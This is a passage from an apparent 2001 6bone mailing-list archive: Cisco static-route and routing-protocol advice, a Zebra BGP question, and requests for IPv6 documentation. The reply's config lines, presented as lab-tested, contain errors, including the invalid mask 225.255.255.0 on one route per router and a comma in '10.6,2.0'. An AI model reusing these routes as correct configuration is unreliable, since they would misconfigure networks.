  size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
  size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
  size=2><SPAN class=908311018-29032001>&nbsp;</SPAN>-----Original 
  Message-----<BR><B>From:</B> Nathaniel Clifton 
  [mailto:nclifton@ncren.net]<BR><B>Sent:</B> Wednesday, March 28, 2001 12:40 
  PM<BR><B>To:</B> 6bone@isi.edu<BR><B>Subject:</B> routing 
  question<BR><BR></DIV></FONT></FONT>&nbsp; <BR>Guys, 
  <P>I need some help with the following scenario: 
  <P><B>4 routers</B> with <B>2 interfaces</B> each <B>0/0</B> and <B>0/1</B> 
  and all of them need to talk to one another 
  <P>ip addresses: 
  <P><B><U>0/0</U></B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <B><U>0/1</U></B> 
  <BR>10.2.3.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.5.4.1 
  <BR>10.2.4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.2.3.2 
  <BR>10.6.2.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.2.4.2 
  <BR>10.5.4.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.6.2.2 
  <P>I need help figuring out how the static routes would be configured..... 
  <P>Thanks in advance..... <BR>&nbsp; 
  <P>Nate <BR>P.S. This question is for an IPv6 project 
</P></BLOCKQUOTE></BODY></HTML>

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From: "Richardson, Jeremy (LNG)" <jeremy.richardson@lexis-nexis.com>
To: "'Nathaniel Clifton'" <nclifton@ncren.net>, 6bone@ISI.EDU
Subject: RE: routing question
Date: Thu, 29 Mar 2001 13:40:18 -0500
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Each router will need two static routes.  If these are Cisco IOS routers,
you can cut and paste the two lines that appear under "RouterX's statics
routes" to each of the respective routers.  I tried this in the lab, so I
know it works.  If you stare at it long enough, it makes some sense.  

After pasting the routes, compare each router's routing table to this
message, they should be the same:

              0/0        0/1 
RouterA 10.2.3.1   10.5.4.1 
RouterB 10.2.4.1   10.2.3.2 
RouterC 10.6.2.1   10.2.4.2 
RouterD 10.5.4.2   10.6.2.2<?xml:namespace prefix = o ns =
"urn:schemas-microsoft-com:office:office" /> 
(assuming 24 bit subnet mask & Ethernet Interfaces)
10.2.3.0 = Routers A & B
10.5.4.0 = Routers A & D
10.2.4.0 = Routers B & C
10.6.2.0 = Routers C & D

RouterA's directly connected routes 
(shown in routing table, but not configured):
C 10.2.3.0 255.255.255.0 Ethernet0/0
C 10.5.4.0 255.255.255.0 Ethernet0/1
RouterA's static Routes:
ip route 10.2.4.0 225.255.255.0 Ethernet0/0
ip route 10.6.2.0 255.255.255.0 Ethernet0/1

RouterB's directly connected routes 
C 10.2.4.0 255.255.255.0 Ethernet0/0
C 10.2.3.0 255.255.255.0 Ethernet0/1
RouterB's static Routes:
ip route 10.6.2.0 225.255.255.0 Ethernet0/0
ip route 10.5.4.0 255.255.255.0 Ethernet0/1

RouterC's directly connected routes 
C 10.6,2.0 255.255.255.0 Ethernet0/0
C 10.2.4.0 255.255.255.0 Ethernet 0/1
RouterC's static Routes:
ip route 10.5.4.0 225.255.255.0 Ethernet0/0
ip route 10.2.3.0 255.255.255.0 Ethernet0/1

RouterD's directly connected routes 
C 10.5.4.0 255.255.255.0 Ethernet0/0
C 10.6.2.0 255.255.255.0 Ethernet 0/1
RouterD's static Routes:
ip route 10.2.3.0 225.255.255.0 Ethernet0/0
ip route 10.2.4.0 255.255.255.0 Ethernet0/1


 
I highly recommend a routing protocol, unless this is an excercise in static
routes. Use the following config commands on all routers, for RIP II:
router rip
  network 10.0.0.0
  version 2
 
For EIGRP:
router eigrp 1
   network 10.0.0.0
 
For OSPF:
router ospf 1
   network 10.0.0.0 0.255.255.255 area 0
 
Again, use the same configuration on each router.  The end result is the
same, and it's much easier (and dynamic).
 
Hope this helps...
 
Jeremy Richardson
 

 

 

 
 
 -----Original Message-----
From: Nathaniel Clifton [mailto:nclifton@ncren.net]
Sent: Wednesday, March 28, 2001 12:40 PM
To: 6bone@isi.edu
Subject: routing question


  
Guys, 

I need some help with the following scenario: 


4 routers with 2 interfaces each 0/0 and 0/1 and all of them need to talk to
one another 


ip addresses: 


0/0                                        0/1 
10.2.3.1                                10.5.4.1 
10.2.4.1                                10.2.3.2 
10.6.2.1                                10.2.4.2 
10.5.4.2                                10.6.2.2 


I need help figuring out how the static routes would be configured..... 


Thanks in advance..... 
  


Nate 
P.S. This question is for an IPv6 project 


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<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001>Each router&nbsp;will need two static routes.&nbsp; If 
these are Cisco IOS routers, you can cut and paste the two lines that appear 
under "<U>RouterX's statics routes</U>" to each of the respective routers.&nbsp; 
I&nbsp;tried this in the lab, so I know it works.&nbsp; If you stare at it long 
enough, it makes some sense.&nbsp; </SPAN></FONT></P>
<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001>After pasting the routes, compare each router's routing 
table to this message, they should be the same:</SPAN></FONT></P>
<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001><FONT face=Tahoma><FONT face=Arial><FONT 
face=Arial><FONT color=#0000ff><FONT size=2><EM><SPAN><SPAN 
style="mso-spacerun: yes"><STRONG><SPAN 
class=908311018-29032001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
</STRONG></SPAN><U><STRONG>0/0</STRONG></U></FONT><FONT 
color=#0000ff></EM></FONT><EM><FONT 
size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B><U>0/1</U></B> 
<BR>Router<STRONG>A</STRONG> 10.2.3.1&nbsp;&nbsp;&nbsp;10.5.4.1 
<BR>Router<STRONG>B</STRONG> 10.2.4.1&nbsp;&nbsp;&nbsp;10.2.3.2 
<BR>Router<STRONG>C</STRONG> 10.6.2.1&nbsp;&nbsp;&nbsp;10.2.4.2 
<BR>Router<STRONG>D</STRONG> 10.5.4.2&nbsp;&nbsp;&nbsp;10.6.2.2<?xml:namespace 
prefix = o ns = "urn:schemas-microsoft-com:office:office" 
/><o:p></o:p></FONT></EM></FONT></SPAN><EM><FONT color=#0000ff size=2> 
<BR></FONT></EM></FONT></FONT></FONT></SPAN></FONT><FONT color=#0000ff 
size=2><SPAN class=908311018-29032001><EM><FONT size=2><FONT color=#0000ff><SPAN 
style="FONT-FAMILY: 'Courier New'"><EM>(assuming 24 bit subnet mask &amp; 
Ethernet Interfaces)<BR></EM></SPAN></FONT></FONT></EM></SPAN></FONT><FONT 
color=#0000ff size=2><SPAN class=908311018-29032001><EM><FONT 
color=#0000ff><FONT size=2><EM><SPAN style="FONT-FAMILY: 'Courier New'">10.2.3.0 
= Routers A &amp; B</SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></EM></FONT></FONT><BR><EM><FONT 
color=#0000ff size=2>10.5.4.0 = Routers A &amp; D<BR></FONT></EM></SPAN><FONT 
size=2><FONT color=#0000ff><EM><SPAN style="FONT-FAMILY: 'Courier New'">10.2.4.0 
= Routers B &amp; C<BR></SPAN><SPAN style="FONT-FAMILY: 'Courier New'">10.6.2.0 
= Routers C &amp; D<o:p></o:p></SPAN></EM></FONT></FONT></EM></SPAN></FONT></P>
<P class=MsoNormal><FONT face="Courier New"><FONT color=#0000ff><FONT 
size=2><STRONG>RouterA&#8217;s directly connected routes <BR></STRONG><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT></FONT><EM><FONT color=#0000ff 
size=2>(shown in routing table, but not configured):<BR></FONT></EM></SPAN><FONT 
color=#0000ff><FONT size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
class=908311018-29032001>C </SPAN>10.2.3.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.5.4.0 255.255.255.0 
Ethernet0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">RouterA&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.2.4.0 225.255.255.0 Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff 
size=2><SPAN style="FONT-FAMILY: 'Courier New'">ip route 10.6.2.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><FONT 
color=#0000ff><FONT size=2><STRONG>Router<SPAN 
class=908311018-29032001>B</SPAN>&#8217;s directly connected routes 
<BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT size=2><SPAN 
style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.2.<SPAN class=908311018-29032001>4</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>2</SPAN>.<SPAN class=908311018-29032001>3</SPAN>.0 
255.255.255.0 Ethernet0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT 
size=2><B><SPAN style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>B</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>6.2</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff size=2><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>5.4</SPAN>.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></SPAN></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><FONT color=#0000ff><FONT 
size=2><STRONG>Router<SPAN class=908311018-29032001>C</SPAN>&#8217;s directly 
connected routes <BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT 
size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.<SPAN class=908311018-29032001>6,2</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>2.4</SPAN>.0 255.255.255.0 Ethernet 
0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>C</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>5.4</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff size=2><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>2.3</SPAN>.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></SPAN></SPAN></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><FONT color=#0000ff><FONT 
size=2><STRONG>Router<SPAN class=908311018-29032001>D</SPAN>&#8217;s directly 
connected routes <BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT 
size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.<SPAN class=908311018-29032001>5.4</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>6.2</SPAN>.0 255.255.255.0 Ethernet 
0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>D</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>2.3</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT size=2><FONT color=#0000ff><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>2.4</SPAN>.0 255.255.255.0 
Ethernet0/1<o:p></o:p></SPAN><o:p></o:p></FONT></FONT></SPAN><o:p></o:p></SPAN></SPAN></FONT><FONT 
face=Tahoma><BR></P>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>I 
highly recommend a routing protocol, unless this is an excercise in static 
routes. Use the following config commands on all routers, for RIP 
II:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router rip</SPAN></FONT></STRONG></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>&nbsp;  network 10.0.0.0</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp;  version 2</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>For 
EIGRP:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router eigrp 1</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp; &nbsp;network 
10.0.0.0</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>For 
OSPF:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router ospf 1</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp;&nbsp; network 10.0.0.0 0.255.255.255 
area 0</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Again, 
use the same configuration on each router.&nbsp; The end result is the same, and 
it's much easier (and dynamic).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Hope 
this helps...</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Jeremy 
Richardson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV></FONT><FONT face=Tahoma>
<DIV></FONT>
<P class=MsoNormal><FONT face=Tahoma></FONT>&nbsp;</P>
<P class=MsoNormal><FONT face=Tahoma>&nbsp;</P></FONT><FONT face=Tahoma><FONT 
size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
  size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
  size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
  size=2><SPAN class=908311018-29032001>&nbsp;</SPAN>-----Original 
  Message-----<BR><B>From:</B> Nathaniel Clifton 
  [mailto:nclifton@ncren.net]<BR><B>Sent:</B> Wednesday, March 28, 2001 12:40 
  PM<BR><B>To:</B> 6bone@isi.edu<BR><B>Subject:</B> routing 
  question<BR><BR></DIV></FONT></FONT>&nbsp; <BR>Guys, 
  <P>I need some help with the following scenario: 
  <P><B>4 routers</B> with <B>2 interfaces</B> each <B>0/0</B> and <B>0/1</B> 
  and all of them need to talk to one another 
  <P>ip addresses: 
  <P><B><U>0/0</U></B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <B><U>0/1</U></B> 
  <BR>10.2.3.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.5.4.1 
  <BR>10.2.4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.2.3.2 
  <BR>10.6.2.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.2.4.2 
  <BR>10.5.4.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  10.6.2.2 
  <P>I need help figuring out how the static routes would be configured..... 
  <P>Thanks in advance..... <BR>&nbsp; 
  <P>Nate <BR>P.S. This question is for an IPv6 project 
</P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0B87F.B7E90CF8--

From 6bone-owner  Thu Mar 29 18:54:24 2001
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Message-ID: <006a01c0b853$9c762a40$b0066aca@hmobile>
From: "Hua Ning" <nhua@biigroup.com>
To: <vv00@eazier.com>
Cc: <6bone@ISI.EDU>
References: <20010329172217.1>
Subject: Re: the IOS is incorrect?
Date: Thu, 29 Mar 2001 21:24:39 +0800
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hi, vv00,
I once used this version, it's fine. 
and I suppose there is a new version of IOS for Cisco'3640 available now,
which you can download from Cisco's website.

Good Luck.
        

Subject: the IOS is incorrect?


> Hi every one ,another question .
>    now i install the IOS which version is c3640-is-mz.19991126,I have applied a tunnel to the 6bone site,now i can't ping the remote end of tunnel,i think maybe it is because the IOS have some bugs in it,or maybe my network has some problem.
>    if someone have some good ideas about it ,pls contact with me ,thank you in advance!
> vv00
> 
> -----------------------------------------------------------------
> »¶Ó­·ÃÎÊ¡¡http://mail.eazier.com
> 
> 


_________________________________________________
    Hua Ning
    Chief Engineer
    BII Group Holdings Ltd(Beijing Internet-networking Institute),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________

From 6bone-owner  Fri Mar 30 20:07:33 2001
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From: <indra@marmoset.net>
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hi! can anybody help in this:  configuring bgp on a linux 2.2.16-IPv6
enabled router. i am using zebra 0.90, but having problems. the daemon is
running and receiving connections from its peer on the other side of an
IPv6 tunnel, but is not advertising the reachability information of the
local network. tried all docs, manuals etc. but it does not help. zebra
suite gets installed fine, but this problem repeats even with zebra 0.91.
any help or pointers, thanks in advance.

regards,
Indra.



From 6bone-owner  Sun Apr  1 22:39:43 2001
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From: Chuck Yerkes <chuck+6bone@snew.com>
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Sharing the config files that aren't working would help...

Otherwise, the default answer might be "set it up right"

Quoting indra@marmoset.net (indra@marmoset.net):
> 
> hi! can anybody help in this:  configuring bgp on a linux 2.2.16-IPv6
> enabled router. i am using zebra 0.90, but having problems. the daemon is
> running and receiving connections from its peer on the other side of an
> IPv6 tunnel, but is not advertising the reachability information of the
> local network. tried all docs, manuals etc. but it does not help. zebra
> suite gets installed fine, but this problem repeats even with zebra 0.91.
> any help or pointers, thanks in advance.
> 
> regards,
> Indra.
> 

From 6bone-owner  Mon Apr  2 19:57:52 2001
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From: Sahatma NP Hasibuan <sahatma@students.itb.ac.id>
To: ipng@sunroof.eng.sun.com
cc: 6bone@ISI.EDU
Subject: Implementation Routing IPv6
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I have a final project (as a requirement to pass my Bachelor degree) about
implementation IPv6 in my Telematic Lab. (LAN) at Bandung Institute of
Technology (Indonesia) majoring in Routing by using FreeBSD (v4.2)
paltform.

1. But, first I have no idea what I should do first.
   Please, help me to know the step-by-step or tips and tricks.

2. I have no experience in IPv6 especially at socket
   programming. 
   Do I have to learn and use it to implement routing IPv6?

3. I have read some articel/presentation/publication about overview IPv6
   from internet. I think it's not enough to get acknowledge in IPv6.

4. I have no book reference about IPv6. It needs too much money to buy
   IPv6 book from Internet because of economic crisis in my country.
   Anyone can tell me how to get it with a low price or maybe free :)?  
   
5. If I have to use routing protocol what kind of routing protocol I can
   use (RIP, OSPF, IGRP, BGP, IS-IS) and where I can get the source
   code/software related to it.

6. Does DNS or Multihoming have realtion to Routing aspect?
   If yes, can you tell me what does DNS and Multihoming mean specially 
   with Routing?
       

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Date: Tue, 3 Apr 2001 10:13:34 +0700 (JAVT)
From: Sahatma NP Hasibuan <sahatma@students.itb.ac.id>
To: 6bone@ISI.EDU
Subject: Implementation Routing IPv6 
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I have a final project (as a requirement to pass my Bachelor degree) about
implementation IPv6 in my Telematic Lab. (LAN) at Bandung Institute of
Technology (Indonesia) majoring in Routing by using FreeBSD (v4.2)
paltform.

1. But, first I have no idea what I should do first.
   Please, help me to know the step-by-step or tips and tricks.

2. I have no experience in IPv6 especially at socket
   programming. 
   Do I have to learn and use it to implement routing IPv6?

3. I have read some articel/presentation/publication about overview IPv6
   from internet. I think it's not enough to get acknowledge in IPv6.

4. I have no book reference about IPv6. It needs too much money to buy
   IPv6 book from Internet because of economic crisis in my country.
   Anyone can tell me how to get it with a low price or maybe free :)?  
   
5. If I have to use routing protocol what kind of routing protocol I can
   use (RIP, OSPF, IGRP, BGP, IS-IS) and where I can get the source
   code/software related to it.

6. Does DNS or Multihoming have realtion to Routing aspect?
   If yes, can you tell me what does DNS and Multihoming mean specially 
   with Routing?
       

        The World is Full of Beauty
                   When
         The Heart is Full of Love

     Stop Violence and Discrimination
             Save Our Earth  &
          Re-Foresting Start Here

 *****************************************
( *           God Bless Us !            * )
(  ** ()                           () **  )
( *     :> ATMA Hs_BUANA Jr.Inc. <:     * )
 *****************************************




From 6bone-owner  Mon Apr  2 21:37:17 2001
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Date: Tue, 3 Apr 2001 11:22:09 +0700 (JAVT)
From: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: 6bone@ISI.EDU
Subject: About DNS IPv6
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I am studying about IPv6, and my topic is DNS for IPv6.
I want to get some reference (documentation)  about it. Where i can get
it?
would you tell me about it or give it to me?

Rudin


From 6bone-owner  Mon Apr  2 21:45:01 2001
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From: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: 6bone@ISI.EDU
Subject: DNS For IPv6
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where i can get a documenation of configurung an IPv6 DNS on Unix

thank you


From 6bone-owner  Mon Apr  2 22:29:52 2001
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In-reply-to: flider's message of Tue, 03 Apr 2001 11:33:11 +0700.
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Subject: Re: DNS For IPv6 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Tue, 03 Apr 2001 14:29:37 +0900
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>where i can get a documenation of configurung an IPv6 DNS on Unix
>thank you

	how about
	http://www.netbsd.org/Documentation/network/ipv6/#naming_a_node

itojun

From 6bone-owner  Tue Apr  3 00:37:55 2001
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From: Wojtek Bojdo/l <wojboj@lp.net.pl>
To: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
Cc: 6bone@ISI.EDU
Subject: Re: About DNS IPv6
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On Tue, 3 Apr 2001, R. Flidersan wrote:

> I am studying about IPv6, and my topic is DNS for IPv6.
> I want to get some reference (documentation)  about it. Where i can get
> it?
> would you tell me about it or give it to me?

First you should find documentation on DNS for IPv4, and then you'll find,
how it works in IPv6.

-- 
Wojciech Bojdo/l
Software is like soul - it can be open or closed source


From 6bone-owner  Tue Apr  3 01:13:00 2001
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From: Olivier.Gaubert@nokia.com
To: sahatma@students.itb.ac.id, 6bone@ISI.EDU
Subject: RE: Implementation Routing IPv6 
Date: Tue, 3 Apr 2001 11:12:43 +0300 
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Go to the following IPv6 How-to. There is a great deal of information.
There are 2 parts - "Ipv6 how-to" where step by step you install an IPv6
system
			- "IPv6 Status" describes more in detail the IPv6
updated status or not of each chunk of software.
It's a rather big How-to with many links but once you get the general view
it should be ok. 
http://www.bieringer.de/linux/IPv6/

Use the following How-to link to get help on Linux (kernel compiling for ex)
: http://www.linuxdoc.org/HOWTO/HOWTO-INDEX/howtos.html

An English IPv6 resource center with plenty of good links :
http://www.cs-ipv6.lancs.ac.uk/

...and a good white paper
http://www.cs-ipv6.lancs.ac.uk/ipv6/documents/papers/BayNetworks/

I don't have any book either :-)

It takes time so good luck!

Olivier

-----Original Message-----
From: ext Sahatma NP Hasibuan [mailto:sahatma@students.itb.ac.id]
Sent: 03. April 2001 5:14
To: 6bone@ISI.EDU
Subject: Implementation Routing IPv6 



I have a final project (as a requirement to pass my Bachelor degree) about
implementation IPv6 in my Telematic Lab. (LAN) at Bandung Institute of
Technology (Indonesia) majoring in Routing by using FreeBSD (v4.2)
paltform.

1. But, first I have no idea what I should do first.
   Please, help me to know the step-by-step or tips and tricks.

2. I have no experience in IPv6 especially at socket
   programming. 
   Do I have to learn and use it to implement routing IPv6?

3. I have read some articel/presentation/publication about overview IPv6
   from internet. I think it's not enough to get acknowledge in IPv6.

4. I have no book reference about IPv6. It needs too much money to buy
   IPv6 book from Internet because of economic crisis in my country.
   Anyone can tell me how to get it with a low price or maybe free :)?  
   
5. If I have to use routing protocol what kind of routing protocol I can
   use (RIP, OSPF, IGRP, BGP, IS-IS) and where I can get the source
   code/software related to it.

6. Does DNS or Multihoming have realtion to Routing aspect?
   If yes, can you tell me what does DNS and Multihoming mean specially 
